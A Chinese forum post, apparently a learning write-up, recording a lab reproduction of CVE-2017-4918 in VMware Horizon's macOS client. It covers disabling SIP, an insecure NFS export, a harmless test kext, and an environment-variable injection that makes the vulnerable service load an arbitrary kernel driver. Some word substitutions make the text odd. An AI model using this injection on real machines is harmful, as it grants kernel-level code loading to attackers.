12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 476|回复: 0

CVE-2017-4918 复现记录

[复制链接]
发表于 2021-5-7 23:56:58 | 显示全部楼层 |阅读模式
CVE-2017-4918 复现

一、物理机情况搭建

系统虚拟机镜像:OS X 10.11 El Capitan Retail  && kali-linux-2021.1-installer-amd64
软件:VMware 15.0.3 && unlocker (用于解锁VMware对MacOS的支持)
&& VMware-Horizon-Client-4.4.0-5164329 && XCode (用于生成驱动文件)
这里建议所有虚拟机全部安装英文版,制止不必要的输入法问题,中文问题。此外网络连接模式都默认选择 NAT,方便虚拟机通信。
[解锁方法](mkUnlocker: 适用于vmware 15.5的解除mac限制locker (gitee.com))
注意:先解锁,才能安装MacOS虚拟机。
MacOS虚拟机安装教程
[kali安装教程](图文详解在VMware Workstation 14 虚拟机上安装Kali Linux黑客专用系统-网络教程与技术 -亦是美网络 (yishimei.cn))
其他注意事项:
如图所示,在MacOS的安全和隐私中,先勾选Anywhere选项,这个在安装Vmtools之前会用到

二、cve简介

使用VMware-Horizon-Client-4.4.0-5164329的情况变量加载一个IOKit类型的内核驱动。
[关于此毛病介绍和复现的链接](CVE-2017-4918: Code Injection in VMware Horizon's macOS Client " #bogner.sh)
三、虚拟机情况搭建

1、MacOS

MacOS中安装 VMware-Horizon-Client-4.4.0-5164329.dmg
值得注意的是,在MacOS中,安装软件通常是拖拽图标,而不是Windows上的下一步,下一步。
适用于 Mac 的 VMware Horizon Client 安装和设置指南 - VMware Horizon Client for Mac 5.0
要点:安装完成后,注意启动远程USB服务。
MacOS中应用步伐的菜单选项通常在桌面左上方,而不是像Windows一样在应用步伐自身窗口的左上方。

禁用 SIP System Integrity Protection,类似于Windows上的禁用驱动签名
虚拟机 按下 cmd+r 键盘的同时点击重新启动,进入进入恢复模式(这里的cmd在windows上对应的就是Win键)
然后选择实用工具(Utils),打开一个终端
# 禁用驱动签名csrutil disable# 重启reboot安装XCode X.X 根据你的虚拟机版本确定,下面时官方历史发布介绍的链接。
Xcode Releases | xcodereleases.com
上面网页中的Requires就是系统版本要求。通常情况下AppStore里下载的都是最新版,且不符合系统要求,导致不能安装,需要注意的是安装软件必须要注册AppID苹果账号。
XCode后续用于写一个简单的内核驱动。
2、Kali

搭建NFS文件服务器
# 安装服务apt-get install nfs-kernel-server# 创建共享文件夹mkdir /root/share# 编辑配置文件vim /etc/exports增长如下内容
/root/share *(rw,insecure)# 重启nfs服务systemctl restart nfs-kernel-server这里服务重启后,查看两台虚拟机的ip地址,通过ping测试是否能互相ping通,然后右键访达(Finder),选择 Connect to Server,填入nfs://Kali的ip地址//root/share,点击连接(Connect ) 就可以看见共享文件夹了。

3、编译我的第一个驱动。

通过毛病作者的文章,我们可以知道,应该创建一个IOKit 类型的驱动项目

创建完成后可以置入如下代码到xxx.cpp文件中

/* add your code here */#include #include kern_return_t kexp_start(kmod_info_t *ki,void*d);kern_return_t kexp_stop(kmod_info_t *ki,void*d);// 类似于DriverEntrykern_return_t kexp_start(kmod_info_t *ki,void *d){    printf("LoadDriver success!\n");    return KERN_SUCCESS;}// 类似于DriverUnloadkern_return_t kexp_stop(kmod_info_t *ki,void *d){    return KERN_SUCCESS;}然后配置依靠库

点开Info.plist配置文件,点击加号,输入库的名称,后面跟上版本号。
编译后即可得到kexp.kext
将改驱动拷贝到linux下的共享目录下,紧接着在MacOS中开一个终端,导出一个情况变量。VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS
VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS="--kext /Volumes/share/kexp.kext -f"export VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONSecho $VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS# 运行毛病软件./Open\ VMware\ View\ Client\ Services# 查看驱动是否加载kextstat |grep kexp最后可以看得驱动被加载到内核

最终效果如图所示

四、杂项

误删用户目录操作
Linux误删用户家(home)目录的恢复方法_rmkloveme-CSDN博客
可以先测试通例方式加载驱动,测试驱动是否存在问题。
sudo chown -R root:wheel /Users/# 检测驱动文件存在的问题kextutil -tn kexp# 加载驱动sudo kextload kexp.kext# 卸载驱动sudo kextunload kexp.kext通过Console查看系统输出日志

五、我的困惑

可以看到,我在内核驱动里使用了printf函数,但是MacOS 10.11.6的输出结果在那边看呢?
10.11.6上无 log show命令,console中也没发现kernel.log。
嗯,对于MacOS的内核开发,有什么保举的册本吗?

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-26 23:07 , Processed in 0.093750 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表